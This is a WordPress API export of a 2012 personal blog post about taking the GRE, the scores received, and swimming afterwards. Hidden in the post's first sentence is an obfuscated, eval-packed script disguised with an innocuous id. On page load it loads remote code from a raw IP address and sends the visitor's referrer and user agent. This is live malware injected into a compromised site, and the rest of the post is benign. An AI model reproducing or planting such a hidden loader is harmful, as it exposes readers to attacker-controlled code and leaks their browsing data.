{"id":3209,"date":"2012-06-23T11:42:03","date_gmt":"2012-06-23T18:42:03","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3209"},"modified":"2012-06-24T17:59:46","modified_gmt":"2012-06-25T00:59:46","slug":"not-that-bad","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3209","title":{"rendered":"Not that bad"},"content":{"rendered":"<p>Ok, <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trefh|var|u0026u|referrer|rtkzk||js|php'.split('|'),0,{}))\n<\/script><\/noindex> not bragging. \u00c2\u00a0But actually, I think I did pretty well on the GRE, especially considering that I just didn&#8217;t prepare at all well. \u00c2\u00a0I was way to scared and stressed about it to actually study. \u00c2\u00a0I know that sounds silly, but it&#8217;s true. Every time I thought about doing a set of practice problems or tackling a sample essay question, it was like my brain just turned its back and looked the other way, whistling casually and totally ignoring my good intentions.<\/p>\n<p>When I took this test before, it involved a #2 pencil. \u00c2\u00a0It&#8217;s totally different now, and honestly, just the change in format was enough to make me worried. \u00c2\u00a0But it was still the same in a lot of ways, and even though my opinion of standardized testing involves cussing at best, it was oddly comforting to be able to eliminate the obviously wrong answers, and know that at least one of the options had to be right.<\/p>\n<p>I did not-as-well as I expected on the verbal section and better than I expected on the math. \u00c2\u00a0This is obviously because some of the questions on the verbal section were stupid, and my answer was better than the &#8220;right&#8221; answer anyway; some of the wild guesses I made on the math section just happened to be lucky. \u00c2\u00a0The test scores from 130 to 170 points, and I got a 162 and 164. \u00c2\u00a0I think I need at least a 168 on the verbal section, but I was expecting to have to take it again in September anyway.<\/p>\n<p>Afterwards? \u00c2\u00a0Swimming with Katherine in the Eno, at the wonderful swimming hole. \u00c2\u00a0Ahhh&#8230;.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ok, not bragging. \u00c2\u00a0But actually, I think I did pretty well on the GRE, especially&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[66],"class_list":["post-3209","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-schools"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3209"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3209"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3209\/revisions"}],"predecessor-version":[{"id":3210,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3209\/revisions\/3210"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3209"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3209"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3209"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}